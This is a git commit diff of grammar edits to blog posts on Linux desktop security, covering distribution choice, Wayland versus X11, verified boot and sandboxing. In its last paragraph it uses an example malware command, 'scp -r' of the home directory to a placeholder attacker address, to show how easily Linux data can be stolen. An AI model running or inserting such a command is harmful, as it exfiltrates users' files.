Make grammar changes and apply other fixes across various posts (#248)

* Make grammar changes and other fixes

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* Clean up

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* Make minor grammar changes

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* More cleanup

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* Slightly reword

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@ -17,7 +17,7 @@ In fact, in certain cases, there have been vulnerabilities introduced by Debian
![Upstream / Distros Gap](/images/upstream-distros-gap.png)
Holding packages back and applying interim patches is generally not a good idea, as it diverges from the way the developer might have intended the software to work. [Richard Brown](https://rootco.de/aboutme/) has a presentation about this:
The practice of holding packages back and applying interim patches is generally not a good idea, as it diverges from the way the developer might have intended the software to work. [Richard Brown](https://rootco.de/aboutme/) has a presentation about this:
{{< youtube id="i8c0mg_mS7U">}}
@ -25,7 +25,7 @@ Holding packages back and applying interim patches is generally not a good idea,
Traditionally, Linux distributions update by sequentially updating the desired packages. Traditional updates such as those used in Fedora, Arch Linux, and Debian based distributions can be less reliable if an error occurs while updating.
Atomic updating distributions apply updates in full or not at all. Typically, transactional update systems are also atomic.
Distributions that use atomic updates apply updates in full or not at all. Typically, transactional update systems are also atomic.
A transactional update system creates a snapshot that is made before and after an update is applied. If an update fails at any time (perhaps due to a power failure), the update can be easily rolled back to a “last known good state."
@ -37,9 +37,9 @@ Even if you are worried about the stability of the system because of regularly u
## Arch-based Distributions
Arch Linux has very up to date packages with minimal downstream patching. That being said, Arch based distributions are not recommended for those new to Linux, regardless of the distribution. Arch does not have an distribution update mechanism for the underlying software choices. As a result you have to stay aware with current trends and adopt technologies as they supersede older practices on your own.
Arch Linux has very up-to-date packages with minimal downstream patching. That being said, Arch-based distributions are not recommended for those new to Linux, regardless of the distribution. Arch does not have an distribution update mechanism for the underlying software choices. As a result, you have to stay aware with current trends and adopt technologies as they supersede older practices on your own.
For a secure system, you are also expected to have sufficient Linux knowledge to properly set up security for their system such as adopting a [mandatory access control](https://en.wikipedia.org/wiki/Mandatory_access_control) system, setting up [kernel module](https://en.wikipedia.org/wiki/Loadable_kernel_module#Security) blacklists, hardening boot parameters, manipulating [sysctl](https://en.wikipedia.org/wiki/Sysctl) parameters, and knowing what components they need such as [Polkit](https://en.wikipedia.org/wiki/Polkit).
For a secure system, you are also expected to have sufficient Linux knowledge to properly set up security for your system such as adopting a [mandatory access control](https://en.wikipedia.org/wiki/Mandatory_access_control) system, setting up [kernel module](https://en.wikipedia.org/wiki/Loadable_kernel_module#Security) blacklists, hardening boot parameters, manipulating [sysctl](https://en.wikipedia.org/wiki/Sysctl) parameters, and knowing what components you need such as [Polkit](https://en.wikipedia.org/wiki/Polkit).
If you are experienced with Linux and wish to use an Arch-based distribution, you should use Arch Linux proper, not any of its derivatives. Here are some examples of why that is the case:
@ -58,19 +58,19 @@ There is often some confusion about “security-focused” distributions and “
**Do not** use the Linux-libre kernel, since it [removes security mitigations](https://www.phoronix.com/scan.php?page=news_item&px=GNU-Linux-Libre-5.7-Released) and [suppresses kernel warnings](https://news.ycombinator.com/item?id=29674846) about vulnerable microcode for ideological reasons.
If you want to use one of these distributions for reasons other than ideology, you should make sure that they there is a way to easily obtain, install and update a proper kernel and missing firmware. For example, if you are looking to use [GUIX](https://guix.gnu.org/en/download/), you should absolutely use something like the [Nonguix](https://gitlab.com/nonguix/nonguix) repository and get all of the fixes as mentioned above.
If you want to use one of these distributions for reasons other than ideology, you should make sure that they there is a way to easily obtain, install, and update a proper kernel and missing firmware. For example, if you are looking to use [GUIX](https://guix.gnu.org/en/download/), you should absolutely use something like the [Nonguix](https://gitlab.com/nonguix/nonguix) repository and get all of the fixes as mentioned above.
## Wayland
You should use a desktop environment that supports the [Wayland](https://en.wikipedia.org/wiki/Wayland_(display_server_protocol)) display protocol as it developed with security [in mind](https://lwn.net/Articles/589147/). Its predecessor, [X11](https://en.wikipedia.org/wiki/X_Window_System), does not support GUI isolation, allowing all windows to [record screen, log and inject inputs in other windows](https://blog.invisiblethings.org/2011/04/23/linux-security-circus-on-gui-isolation.html), making any attempt at sandboxing futile. While there are options to do nested X11 such as [Xpra](https://en.wikipedia.org/wiki/Xpra) or [Xephyr](https://en.wikipedia.org/wiki/Xephyr), they often come with negative performance consequences and are not convenient to set up and are not preferable over Wayland.
You should use a desktop environment that supports the [Wayland](https://en.wikipedia.org/wiki/Wayland_(display_server_protocol)) display protocol as it developed with security [in mind](https://lwn.net/Articles/589147/). Its predecessor, [X11](https://en.wikipedia.org/wiki/X_Window_System), does not support GUI isolation, allowing all windows to [record screen, log and inject inputs in other windows](https://blog.invisiblethings.org/2011/04/23/linux-security-circus-on-gui-isolation.html), making any attempt at sandboxing futile. While there are options to do nested X11 such as [Xpra](https://en.wikipedia.org/wiki/Xpra) or [Xephyr](https://en.wikipedia.org/wiki/Xephyr), they often come with negative performance consequences, are not convenient to set up, and are not preferable to Wayland.
Fortunately, common environments such as [GNOME](https://www.gnome.org) and [KDE](https://kde.org) have support for Wayland. Some distributions like Fedora and Tumbleweed use it by default, and some others may do so in the future as X11 is in [hard maintenance mode](https://www.phoronix.com/scan.php?page=news_item&px=X.Org-Maintenance-Mode-Quickly). If youre using one of those environments it is as easy as selecting the “Wayland” session at the desktop display manager ([GDM](https://en.wikipedia.org/wiki/GNOME_Display_Manager), [SDDM](https://en.wikipedia.org/wiki/Simple_Desktop_Display_Manager)).
Try **not** to use desktop environments or window managers that do not have Wayland support such as Cinnamon (default on Linux Mint), Pantheon (default on Elementary OS), MATE, Xfce, and i3. You should also avoid Wayland environments which use wlroots as the compositor such as Sway, since wlroots adds many of X11 weaknesses back including the ability for apps to record each other without prompting for permission.
Try **not** to use desktop environments or window managers that do not have Wayland support such as Cinnamon (default on Linux Mint), Pantheon (default on Elementary OS), MATE, Xfce, and i3. You should also avoid Wayland environments which use wlroots as the compositor such as Sway, since wlroots adds many of X11 weaknesses back, including the ability for apps to record each other without prompting for permission.
## Recommended Distributions
Here is a quick non authoritative list of distributions that are generally better than others:
Here is a quick, non-authoritative list of distributions that are generally better than others:
### Fedora Workstation
@ -92,7 +92,7 @@ You can refer to the video by [Adam Šamalík](https://twitter.com/adsamalik) li
Fedora Workstation and Silverblue's European counterpart. These are rolling release, fast updating distributions with [transactional update](https://kubic.opensuse.org/blog/2018-04-04-transactionalupdates/) using [Btrfs](https://en.wikipedia.org/wiki/Btrfs) and [Snapper](https://en.opensuse.org/openSUSE:Snapper_Tutorial).
[Aeon](https://microos.opensuse.org/) has a much smaller base system than [Tumbleweed](https://get.opensuse.org/tumbleweed) and mounts the running BTRFS subvomumes as read-only (hence its name and why it is considered an immutable distribution). Currently, it is still in RC so changes are to be expected. Nevertheless, it is an awesome project.
[Aeon](https://microos.opensuse.org/) has a much smaller base system than [Tumbleweed](https://get.opensuse.org/tumbleweed) and mounts the running BTRFS subvolumes as read-only (hence its name and why it is considered an immutable distribution). Currently, it is still in RC so changes are to be expected. Nevertheless, it is an awesome project.
{{< youtube id="jcl_4Vh6qP4">}}

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@ -23,17 +23,17 @@ Linux servers are lighter than Desktop Linux systems by orders of magnitude, wit
## Linux Hardening Myths
There is a common claim in response to Madaidan that Linux is only insecure by default, and that an experienced user can make it the most secure operating system out there, surpassing the likes of macOS or ChromeOS. Unfortunately, this is wishful thinking. There is no amount of hardening that one can reasonably apply as a user to fix up the inherent issues with Linux.
There is a common claim in response to Madaidan that Linux is only insecure by default, and that an experienced user can make it the most secure operating system out there, surpassing the likes of macOS or ChromeOS. Unfortunately, this is wishful thinking. There is no amount of hardening that one can reasonably apply as a user to shore up the inherent issues with Linux.
### Lack of verified boot
macOS, ChromeOS, and Android have a clear distinction between the system and user installed application. In over simplified terms, the system volume is signed by the OS vendor, and the firmware and boot loader works to make sure that said volume has the authorized signature. The operating system itself is immutable, and nothing the user does will need or be allowed to tamper with the system volume.
Android, macOS, and ChromeOS have a clear distinction between the system and user installed applications. In oversimplified terms, the system volume is signed by the OS vendor, and the firmware and boot loader works to make sure that said volume has the authorized signature. The operating system itself is immutable, and nothing the user does will need or be allowed to tamper with the system volume.
On Linux, there is no such clear distinction between the system and user installed applications. Linux distributions are a bunch of packages put together to make a system that works, and thus every package is treated as part of said system. The end result is that binaries, regardless of whether they are vital for the system to function or just an extra application, are thrown into the same directories as each other (namely `/usr/bin` and `/usr/local/bin`). This makes it impossible for an end user to setup a verification mechanism to verify the integrity of "the system", as said "system" is not clearly defined in the first place.
Meanwhile, on Linux, there is **no** clear distinction between the system and user installed applications. Linux distributions are a bunch of packages put together to make a system that works, and thus every package is treated as part of said system. The end result is that binaries, regardless of whether they are vital for the system to function or just an extra application, are thrown into the same directories as each other (namely `/usr/bin` and `/usr/local/bin`). This makes it impossible for an end user to setup a verification mechanism to verify the integrity of "the system", as said "system" is not clearly defined in the first place.
### Lack of application sandboxing
Operating systems like Android and ChromeOS have full system mandatory access control, every process from the init process is strictly confined. Regardless of which application you install or how you install them, they have to play by the rules of an untrusted SELinux domain and are only able to utilize unprivileged APIs.
Operating systems like Android and ChromeOS have full system mandatory access control; that is, every process from the init process is strictly confined. Regardless of which application you install or how you install them, they have to play by the rules of an untrusted SELinux domain and are only able to utilize unprivileged APIs.
Even on macOS, where the application sandbox is opt-in for developers, there is still a permission control system (TCC) for unprivileged applications. Apps run by the user do not have unrestricted access to their microphone, webcam, keystrokes, sensitive documents, and so on.
@ -53,6 +53,6 @@ Something being open source does not imply that it is inherently private, secure
**Security by irrelevance does not work**. Just because there are fewer users of your favorite operating system does not make it any safer.
Ask yourself this: Would you ditch Windows for ReactOS considering that it is a lot less popular and is less targeted? Likewise, would you ditch Linux desktop when it becomes the mainstream solution for the BSDs or some niche operating systems just because they are less popular?
Ask yourself this: Would you ditch Windows for ReactOS because it is a lot less popular and is less targeted? Likewise, would you ditch Linux desktop when it becomes the mainstream solution for the BSDs or some niche operating systems just because they are less popular?
Malware for Linux does exist, and it is not hard to make. It can be something as trivial as a shell script or binary executing `scp -r ~/ malware@xx.xx.xx.xx:/data`. Due to the lack of application sandboxing or an application permission model, your computer can be compromised the moment you execute a malicious binary, shell script, or install script with or without root and with or without an exploit. This is, of course, not to discount the fact that many exploits do exist on Linux just like on any other operating systems as well.